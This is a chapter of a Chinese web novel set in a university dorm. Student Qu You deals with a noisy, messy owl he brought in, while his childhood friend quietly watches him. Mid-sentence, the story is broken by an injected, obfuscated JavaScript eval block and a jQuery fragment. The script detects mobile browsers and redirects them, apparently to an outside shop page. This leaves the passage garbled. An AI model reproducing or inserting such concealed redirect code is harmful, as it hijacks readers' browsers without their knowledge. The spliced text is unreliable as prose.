也怪他最近没关心弟弟的生活,肖承风面无表情地看着床顶,自我反省,深黑的眼睛冷漠又带着一丝不聚焦的游离。 曲柚平时都和什么人接触他都不知道。 应该是有人带坏弟弟了,让他和自己生疏了。 * 夜半三分,A大男宿舍楼外,一串“咕咕咕咕咕~”的幽怨小调,穿透力极强,响彻三楼。 像人幽幽的笑声,又像清幽诡笑的笛声,仿佛有什么诡异生物在外面巡窗一样。 宿舍的窗户玻璃时不时传来“哆哆”的叩窗声。 卓正阳用气音叫曲柚,“弟弟,睡了么?这玩意儿真的好恐怖啊,他会鬼叫一宿吗?” 曲柚睡不着,他平躺在床上,双手交叉握在腹部,满脸绝望。 有被这只鬼鸟无语到,怎么还赖上了? 已经能听到旁边宿舍有人在开窗暴躁骂街了,“别吵了!滚!” 终于,在下一次鬼鸮又准备咕咕一曲的时候,它守了半宿的窗子忽然打开——一只手捏住了它的嘴,打断它即将抒发的诗情,另一只手捏着它翅膀根,把他带回了那个凉爽的地方。 曲柚抓着鸟,从桌上拿了个小台灯,连灯带鸟把它关进卫生间。 “闭嘴,想进来呆着就不许出声!听到没有!”曲柚捏着这个赖皮的嘴,盯着它亮闪闪的眼睛低声恶狠狠威胁,“再叫明天你就没有肉吃了!喝西北风吧!” 鬼鸮歪脑袋眨眨眼,扭头啄了啄自己的羽毛,给自己捋顺。 到底是没再抒发诗情。 鸟也懂的,见好就收。 26. 一袋猫头鹰 026/东山花灯 第二天一早,天清无云,澄澈的日光慷慨铺洒大地。 A大306男寝的人穿好衣服,下床后互相看一眼,不出意外都看见了彼此眼下的那片浅青色——除了齐昊。 齐昊打了个哈切,环视了三人一圈,揉着宿醉后发胀的脑袋纳闷道:“你们仨昨晚开黑不带我?” 说完被自己幽默得哼笑一声,“哦对,肖神是不会和你们打游戏的。” 曲柚的目光轻飘飘落向肖承风。 竹马面色如常,黑色的发丝有些凌乱,一捋头发慵懒地翘起,发尾在晨光里微晃,搅起一团轻薄的光晕。 男生穿了件黑T恤,服帖的布料将他的宽肩窄腰勾勒出隐约线条,配上那张无死角的脸,即使刚起床也帅得一塌糊涂。连眼下那片浅色的阴影,都让他有种淡淡阴郁的英气。 被他偷偷注视的人好像察觉到了什么,漆黑的眼眸动了动,视线扫过来。 “!”两人即将对上视线之前,曲柚眸子一闪移开眼。 卓正阳蔫巴巴地看着曲柚,“弟弟,你去看看,我听卫生间里没动静了。我想上厕所。”他揪着裤腰带,膝盖微夹,一副想尿尿但努力憋住的为难样。 肖承风视线落到曲柚身上的时候,只看到男生对一脸菜色的卓正阳抱歉地笑笑,“哥哥们,这次我的,晚上请你们吃饭啊。它可能在陌生的环境里有点害怕,我去把它拿出来。” 说罢他独自朝卫生间走去,留下几人看着他的背影,等曲柚给他们腾出卫生间来。 不管出于什么原因,毕竟是曲柚把猫头鹰带回来的,晚上制造的噪音搞得大家睡眠不良,曲柚心有愧疚。 昨晚夜里被曲柚塞进卫生间的鬼鸮是没再唱曲儿了。 但也没闲着。 锋利粗大的脚趾踩在瓷砖地板上,嚓咔嚓咔,夜里寝室很安静,能隐约听到卫生间门板后,有坨活物隔一会儿走两三步,时不时拍拍翅膀,颇有饭后散步的意思。 当晚宿舍没人再起身去赶鸟。对比起之前在窗户口的咕咕叫,这点散步的声音已经算很小了。 于是一宿舍的人伴着鬼鸮时不时的脚步声勉强入睡。 曲柚看上去和原先没什么区别,但又有什么不一样了。 肖承风垂眸将桌上的笔记本放进书包里,缓缓想到,哦,因为曲柚的视线不再那么理所当然地落在自己身上了。 这是正常的。曲柚总要和别人接触,他不可能只和自己交流,肖承风这样告诉自己。 齐昊眨眨眼看着曲柚的背影,有点不太确定地问剩下俩站在原地的人,“你们……在等什么?卫生间里有什么东西么?”为了吸引室友的注意力,他还特意朝卓正阳吹了声口哨。 卓正阳顶着死鱼眼瞥他一眼,更用力地捏住裤腰带,微微弯腰,咬牙切齿地让他闭嘴。 “你昨晚喝得全断片了么?你回来不是还看见那只猫头鹰了!” 肖承风收拾好了背包,侧身倚在桌边,给皱眉一脸回忆状的齐昊解释了一句,“晚上带回来的猫头鹰在外面窗台一直叫,也不飞走,曲柚就把它带回宿舍卫生间了。” “哦,我想起来了!我还被那只猫头鹰吓一跳呢。”齐昊想起来他昨天在身体惊惧的失控中,被人一把捞住按回椅子的失重感。 “不过躺下后我就完全没有记忆了,晚上什么都没听见。”齐昊笑了笑,他眼神游移着,有点无奈地笑,“我都不记得我怎么爬上床的了。” 卓正阳扁扁嘴,“你都醉死了,还怎么爬上床?当然是我给你抱上去的!”他想毒蛇一句你这耗子沉亖了,但想到昨晚单臂就能把人搂起来的重量,到底没说话。 齐昊看了他一眼,似笑非笑,眼珠泛着微光,似有隐约的薄雾,“那就谢谢二哥抱我上床了。”他的口吻轻而浅,像缠在一颗蜜糖上的纸衣,舌尖一戳就会化掉。 男生斜靠在床柱边,窗外的阳光温柔抚过他的侧身,锁骨线清晰而深刻,在肩窝处陷下一片小小的细腻湖泊,装着轻盈的晨光,和不知道什么玩意儿的东西。 有点让人想摸一下。 卓正阳缓缓睁大眼看着齐昊沉默两秒,不停交替身体重心的双脚也停住了,忽地扭头向宿舍里最权威的人求证,“肖神,他是不是在gay我?”他是不是在对我散发gay之魅力! 最权威的人并不想掺和这些直男和男同之间似是而非的小游戏,直截了当回了三个字,“不知道。” 齐昊就笑,单手捂着下半张脸,钩子似的眼神滑向别处。 卓正阳知道这货又在耍他玩了,攥着裤腰气急败坏地指他,“你有本事别在这时候挑衅我,等我开闸放水后,你再gay我一个试试。爹让你知道屁股能红成什么样!” 打开卫生间门的曲柚并不知道背后的室友们又在玩什么口嗨小游戏。 他一开门就看到了蹲在洗手池边正在往地上拉shi的猫头鹰。 开门雷击。 鬼鸮听见声音扭脸看向他,同时尾巴一翘,一小坨灰白色神秘粘稠液体就从尾羽处滴落,在地面炸出一朵屎花。 猫头鹰哼唧两声:“咕咕。”⊙▽⊙ 一地黑白之物,如同天女散花星星点点铺散在瓷砖地面,让人不禁疑惑这鸽子大小的鸟身体里怎么能装下这么多排泄物的。它难道是屎做的不成? 看得曲柚眼前一黑,一个反手就关上了门。 空气里飘荡着禽类特有的浓郁气息。曲柚艰难咽了咽唾沫,伸手按开墙壁上的换风按键,接着马不停蹄抽出纸巾开始疯狂擦屎。 天呐,是他的错,是他把这个拉屎大王给放进来霍霍大家的卫生间的!这一地屎迹决不能被大家看到,他要在开门之前把地面恢复原状! 想到这里,曲柚扭头看那只站在洗手台上居高临下,一脸无辜地看着他擦屎的破鸟,脑门上突然冒出个小灯泡。 第一件事就是给这个造粪机装个铲屎袋,省得他在前面擦,鸟在后面拉。 他扯了个垃圾袋挥舞两下灌上风,避开脚下的鸟粪地雷慢慢走到小猫头鹰跟前,努力对它挤出微笑:“不用怕啊小鸟,把你装进袋子里,这样你就可以随便拉屎了。”因为不想让室友看到这一地狼藉,曲柚把声音压得很低,只有他和鸟能听到。 曲柚的手伸出去,小猫头鹰抬头睁大眼,拱起翅膀似乎要炸毛,曲柚迅速捏住鸟的翅膀根抓起来。鬼鸮的爪子无力地在空中踩了踩,被人利索装进塑料袋里。 曲柚把鸟头漏出来,垃圾袋的肩带在鬼鸮的脖子后打了个结,把它挂到门把手上。 想法很美好,曲柚看着装进塑料袋里的猫头鹰随便挣扎了两下,锋利的脚趾就把垃圾袋底部划拉出几个坑洞,他站在原地额角一跳,干脆用手在破洞处撕了撕,让鸟的两条毛腿穿过破洞,把尖锐的爪子伸出来,两腿间留下一条宽塑料片兜着鸟身体。 鬼鸮再次踩踩脚,这次,它随着受力晃悠的塑料袋轻轻晃悠。两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189061|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条毛乎乎的腿毫无着力点,直直伸在空中。 鬼鸮:(歪头打量.jpg)⊙▽⊙ 这样好了,也踩不到塑料袋了,也能兜住屎了。 曲柚转身抓紧收拾残局。 擦完地面上的黑白之物,又顺手拿空气清新器喷了喷,曲柚拎着一袋猫头鹰出门。 他一出门,就看到虾米似得蹲在宿舍地上的卓正阳眼冒星光,一脸大救星地看他,火速冲向卫生间,在空中留下一句:“兄弟们我先上!要憋不住了!” 齐昊往后退了半步,点点头,“我有印象,我昨晚确实见过这只鸟。” 走过肖承风身边时,曲柚好像闻到了男生身上散发的气息。高大的男生只是站在那里,什么话都没有,但存在感格外强烈。 曲柚能感受到竹马落在自己身上的目光。一如每一个往日,沉默又专注,像要在他眼底栽出一颗珍贵的幼苗。 即使已经调整好自己的心态,但面对这样的注视,他的心跳依然可悲地为之欢欣。 曲柚眼睫颤动,微微晃神,他尽量让自己的表现得自然一些。 他这么重视你,是把你当成最亲近的兄弟,不要随便打破这样对谁都好的稳定关系。曲柚在心底淡淡告诫自己。 曲柚拎着猫头鹰把鸟倒在窗台外,一坨小鸟踉跄着站稳,在阳光下睁大金黄色的大眼,盯着曲柚上下晃头。 阳光晒在它的羽毛上,微风吹起细小的绒毛,鬼鸮很快变成一团看起来毛绒绒的棕色胖球。 “飞吧,你自由了。”曲柚冲它点点下巴。 他关好窗户,不再看站在窗台上眼巴巴看他不肯离去的小猫头鹰,回到保温箱旁边,给斑鸠幼崽冲泡鸟粮。 有时候,总是要狠下心,才能放飞一只本该自由的鸟。 *** 正午。 一个年轻的黑衣男子拎着一个宠物航空箱,背着黑色宽肩背包,举着手机在A大校园里寻路。 大太阳天的,他得出来找鸟,也不知道上辈子造了什么孽,这辈子给人当牛做马。 三流网剧剧组的场务小刘奉命来A市抓鸟。 这会儿他热得两颊流汗,脖子后面一片湿黏,随手抹了一把汗,只觉得眼前被太阳照得发花,嘴里发苦。 他一大早就进了A大,跟着定位找到了一栋男寝楼。因为怕定位不精准,他在显示定位绿点的一侧楼下来回转了四五遍,恨不得把楼下每棵树上都每根树枝都看清了,愣是没找到带着定位环的猫头鹰。 小刘觉得可能有人给鸟把定位环扯下来,找回那只猫头鹰的希望已经不大了。但他还是没有直接放弃,给场务主任发消息汇报任务进度。 【哥,已找到定位所在建筑,是A大男宿舍楼,历经三个小时未在楼外找到鸟或定位环,接下来准备进楼找找。抱拳.jpg】 说是这样说,但小刘并不觉得鸟会飞进校舍楼里。就算飞进去,过不了多久也会被人赶出来。这样发消息只是为了让领导看到,自己有在为完成任务主动多想点办法。 即使后续真的找不回猫头鹰,他也能说,他尽力试了。 场务主任给他发了个朵一闪一闪亮晶晶的大红玫瑰表情包,上面用加粗加大的字体写着:辛苦了! 明黄色的字跳跃着漂浮在玫瑰之上,格外醒目。 小刘滚动喉结咽下一口唾液,滋润干涩发甜的嗓子眼,晕乎着心想。 不辛苦。 命苦。